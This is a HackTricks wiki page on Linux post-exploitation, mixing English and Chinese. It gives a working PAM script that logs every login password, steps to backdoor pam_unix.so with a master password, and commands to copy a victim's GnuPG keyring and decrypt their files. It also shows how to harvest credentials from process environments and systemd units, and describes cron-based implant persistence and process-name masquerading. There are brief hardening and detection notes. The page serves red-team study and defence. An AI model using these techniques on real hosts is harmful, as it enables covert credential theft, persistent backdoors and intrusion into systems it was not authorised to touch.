Linux Post-Exploitation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Sniffing Logon Passwords with PAM
Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:
PAM - Pluggable Authentication Modules
For further details check the original post. This is just a summary:
Technique Overview: Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。它们可以通过自定义登录流程来增强安全性,但如果被滥用也会带来风险。本摘要概述了使用 PAM 捕获登录凭证的技术,以及相应的缓解策略。
Capturing Credentials:
- 一个名为
toomanysecrets.sh的 bash 脚本被编写用于记录登录尝试,记录内容包括日期、用户名($PAM_USER)、密码(通过 stdin)以及远程主机 IP($PAM_RHOST),并写入/var/log/toomanysecrets.log。 - 该脚本被赋予可执行权限,并通过在 PAM 配置(
common-auth)中使用pam_exec.so模块集成,带上使其静默运行并将认证 token 暴露给脚本的选项。 - 该方法演示了如何利用被攻陷的 Linux 主机来隐蔽地记录凭证。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
在 PAM 中植入后门
更多细节请查看 original post。以下只是摘要:
Pluggable Authentication Module (PAM) 是在 Linux 下用于用户认证的系统。它基于三个主要概念运行:username、password 和 service。每个服务的配置文件位于 /etc/pam.d/ 目录,共享库负责处理认证。
目标:修改 PAM,使其允许使用特定密码进行认证,绕过真实用户密码。重点针对 pam_unix.so 共享库,该库被 common-auth 文件使用,而 common-auth 被几乎所有服务包含用于密码校验。
修改 pam_unix.so 的步骤:
- 定位认证指令(在
common-auth文件中):
- 负责检查用户密码的那一行会调用
pam_unix.so。
- 修改源代码:
- 在
pam_unix_auth.c源文件中添加条件判断:若使用了预定义密码则授予访问,否则按正常流程进行认证。
- 重新编译并替换 修改后的
pam_unix.so库到相应目录。 - 测试:
- 使用预定义密码可以在多种服务(login, ssh, sudo, su, screensaver)中获得访问权限,而正常的认证流程不受影响。
Tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
通过迁移 homedir 解密 GPG loot
如果你发现了加密的 .gpg 文件和用户的 ~/.gnupg 文件夹(pubring、private-keys、trustdb),但因 GnuPG homedir 的权限/锁定而无法解密,可将密钥环复制到可写位置并将其作为你的 GPG home 使用。
如果不这样做,常见错误包括: “unsafe ownership on homedir”, “failed to create temporary file”, 或 “decryption failed: No secret key”(因为 GPG 无法读/写原始 homedir)。
工作流程:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
如果 private-keys-v1.d 中存在密钥材料,GPG 会在不提示输入 passphrase 的情况下解锁并解密(如果密钥受保护则会提示)。
从进程环境收集凭证(包括容器)
当你在某个服务内获得代码执行时,该进程通常会继承一些敏感的环境变量。这些是横向移动的宝贵资源。
快速操作
- 导出当前进程的环境变量:
envorprintenv - 导出其它进程的环境变量:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p' - 如果没有
tr/sed,可加上strings -z /proc/<PID>/environ - 在容器中,也检查 PID 1:
tr '\0' '\n' </proc/1/environ
应查找的内容
- 应用 secrets 和 管理员凭证(例如,Grafana 设置
GF_SECURITY_ADMIN_USER、GF_SECURITY_ADMIN_PASSWORD) - API keys, DB URIs, SMTP creds, OAuth secrets
- 代理和 TLS 覆盖:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
注意
- 许多编排通过 env 传递敏感配置;这些会被子进程继承,并暴露给你在该进程上下文中启动的任何交互式 shell。
- 在某些情况下,这些 creds 会被系统范围重用(例如,相同的 username/password 在主机上对 SSH 有效),从而实现简单的横向转移。
Systemd-stored credentials in unit files (Environment=)
Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>)。这些值经常在内部 web UI(Basic-Auth)或其他服务中被重用。
加固
- 将 secrets 移到专用的 secret stores (
systemd-ask-password,EnvironmentFilewith locked perms, or external secret managers) - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- 对测试中发现的 leaked passwords 进行轮换
Cron-based persistence with loopback mutex
- 将 implants 复制到多个可写路径(
/tmp,/var/tmp,/dev/shm,/run/lock)并安装 cron entries such as*/5 * * * * /tmp/<bin>,以便即使在其他地方被删除也能重生。 - 通过绑定固定的 loopback 端口(例如,
127.0.0.1:51125或127.0.0.1:52225)并在bind()失败时退出,来强制 single-instance 执行;ss -lntp | grep -E '51125|52225'将显示 mutex listener。 - 操作员可能会定期对任何其
cmdline包含 dropper 名称(例如,init_stop)的进程进行批量终止,因此在分析时重用这些名称可能会发生冲突;请选择唯一的文件名。
Process masquerading via prctl + argv overwrite
- 使用
prctl(PR_SET_NAME, "<label>")设置短进程名(15-bytecommlimit),常设为init,以便/proc/<pid>/status和 GUI 显示无害标签。 - 在读取
/proc/self/cmdline长度和argv[0]指针后,覆盖内存中的argv[0]缓冲区,并用 NUL 填充,使/proc/<pid>/cmdline和ps也显示伪标签。 - 通过将
/proc/<pid>/status中的Name:与真实可执行文件路径比较,并查找那些拥有非常短/空白 cmdlines 且拥有 loopback mutex listeners 的进程来进行检测。
References
- 0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


